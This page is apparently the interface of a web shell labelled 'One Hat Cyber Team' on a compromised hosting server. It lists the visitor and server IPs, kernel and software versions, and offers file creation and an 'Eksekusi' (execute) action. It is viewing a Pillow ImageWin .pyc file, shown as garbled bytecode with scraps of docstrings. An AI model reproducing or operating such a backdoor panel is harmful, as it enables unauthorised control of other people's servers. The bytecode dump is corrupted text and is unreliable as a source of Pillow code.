⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
PIL
/
__pycache__
/
View File Name :
ImageWin.cpython-310.pyc
o Z#a @ sX d dl mZ G dd dZG dd dZG dd dZG dd d ZG d d deZdS ) )Imagec @ e Zd ZdZdd Zdd ZdS )HDCz Wraps an HDC integer. The resulting object can be passed to the :py:meth:`~PIL.ImageWin.Dib.draw` and :py:meth:`~PIL.ImageWin.Dib.expose` methods. c C || _ d S Ndc)selfr r ./usr/lib/python3/dist-packages/PIL/ImageWin.py__init__ zHDC.__init__c C | j S r r r r r r __int__! zHDC.__int__N__name__ __module____qualname____doc__r r r r r r r r c @ r )HWNDz Wraps an HWND integer. The resulting object can be passed to the :py:meth:`~PIL.ImageWin.Dib.draw` and :py:meth:`~PIL.ImageWin.Dib.expose` methods, instead of a DC. c C r r wnd)r r r r r r , r z HWND.__init__c C r r r r r r r r / r zHWND.__int__Nr r r r r r % r r c @ sN e Zd ZdZdddZdd ZdddZd d ZdddZd d Z dd Z dS )Diba& A Windows bitmap with the given mode and size. The mode can be one of "1", "L", "P", or "RGB". If the display requires a palette, this constructor creates a suitable palette and associates it with the image. For an "L" image, 128 greylevels are allocated. For an "RGB" image, a 6x6x6 colour cube is used, together with 20 greylevels. To make sure that palettes work properly under Windows, you must call the ``palette`` method upon certain events from Windows. :param image: Either a PIL image, or a mode string. If a mode string is used, a size must also be given. The mode can be one of "1", "L", "P", or "RGB". :param size: If the first argument is a mode string, this defines the size of the image. Nc C sn t |drt |dr|j}|j}n|}d }|dvrt|}tj||| _|| _|| _|r5| | d S d S )Nmodesize)1LPRGB) hasattrr r r getmodebasecoredisplayimagepaste)r r&